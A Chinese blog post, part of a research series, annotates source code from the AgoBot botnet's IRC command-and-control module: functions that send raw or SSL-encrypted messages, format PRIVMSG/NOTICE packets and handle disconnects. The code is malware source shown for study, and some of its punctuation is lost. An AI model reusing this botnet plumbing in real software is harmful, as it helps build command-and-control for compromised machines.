AgoBot 僵尸网络研究笔记(八)

 

八、2008年3月12日

作者:青青子衿

email:anzijin@sina.com

1 SendRaw ( char  * szMsg )   数据发送函数,将加密发送还是明文发送封装起来

bool   CIRC :: SendRaw ( char  * szMsg )

{

  if ( g_cMainCtrl . m_cBot . si_usessl . bValue //判断是否使用ssl加密

  {  

    //如果使用SSL加密协议,调用CSSLSocket 类的成员函数将消息发送出去

    if ( m_csslSocket . Write ( szMsg strlen ( szMsg ))< strlen ( szMsg ))

    {  

      //如果发送失败, 

      m_bJoined = false ;   //加入频道状态设置为false

      m_bConnected = false //连接状态设置为false

      xClose ( m_sSocket );    //关闭套接字

      m_sSocket = INVALID_SOCKET //将套接字变量,置为无效

      g_cMainCtrl . m_cMac . ClearLogins ();  //清空登录信息列表

      return   false

    }

    else  

    {

      //完成发送成功返回

      return   true

    }

  }

  else

  {  

    //使用明文发送数据

    if ( xWrite ( m_sSocket szMsg strlen ( szMsg ))< strlen ( szMsg ))   //send 函数

    {

      //如果发送失败

      m_bJoined = false

      m_bConnected = false

      xClose ( m_sSocket );

      m_sSocket = INVALID_SOCKET ;

      g_cMainCtrl . m_cMac . ClearLogins ();

      return   false

    }

    else  

    {

      //发送成功

      return   true

    }

 

}

2、  bool   CIRC :: SendRawFormat ( const   char  * szFmt , ...)   函数

///

//

//函数功能:按照指定格式发送数据

//参数:   const char *szFmt   发送数据的格式

//       ...  具体数据的变量,参数个数不确定

//返回值:   如果发送成功返回true,否则返回false

//

bool   CIRC :: SendRawFormat ( const   char  * szFmt , ...)

{  

  va_list   va_alist ;

  char   formatbuf [8192]; 

  va_start ( va_alist szFmt );

  vsnprintf ( formatbuf sizeof ( formatbuf ),  szFmt va_alist );  va_end ( va_alist );

  return   SendRaw ( formatbuf ); 

}

3 bool   CIRC :: SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst )  函数

///

//

//函数功能:发送消息

//参数:   bool bSilent    标识是否处于静默状态 

//       bool bNotice    发送数据包的类型是否是Notice状态,详细了解Notice含义,参见IRC使用手册

//       char *szMsg     消息内容的buffer

//       char *szDst     保存发送目标的字符串

//返回值:   发送成功返回true,失败返回false

//

/

bool   CIRC :: SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst )

{  

  if ( bSilent //如果bot被设置为静默状态,将不往外发送任何信息,直接返回

  {

    return   false ;

  }

  CString   sTheCmd

  if ( bNotice //如果以NOTICE模式发送

  {

    //命令字符串赋值为字符串NOTICE

    sTheCmd . Assign ( "NOTICE" );

 

  else  

  {  

    //否则赋值为PRIVMSG

    sTheCmd . Assign ( "PRIVMSG" );

  }

  CString   sSendBuf

  sSendBuf . Format ( "%s %s :%s/r/n" sTheCmd . CStr (),  szDst szMsg );  //构造一个完整的IRC数据包

  return   SendRaw ( sSendBuf . Str ());  //发送数据包

}

4 void   CIRC :: Fail ()    函数

/

//

//函数功能:失败处理

//参数:  

//返回值:   void

//

//

void   CIRC :: Fail ()

{  

  Disconnect ();   //断开网路连接

  m_iFailCount ++;   //连接失败计数器加1

}

5 void   CIRC :: Disconnect ()   函数

//

//

//函数功能:断开连接

//参数:    

//返回值:   void

//

/

void   CIRC :: Disconnect ()

{  

  m_bJoined = false ;    //设置离开频道状态

  m_bConnected = false ;     //设置断开连接状态

  xClose ( m_sSocket );     //关闭套接字

  m_sSocket = INVALID_SOCKET ;   //将套接字变量设置为无效

  g_cMainCtrl . m_cMac . ClearLogins ();   //清空登录列表

}

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值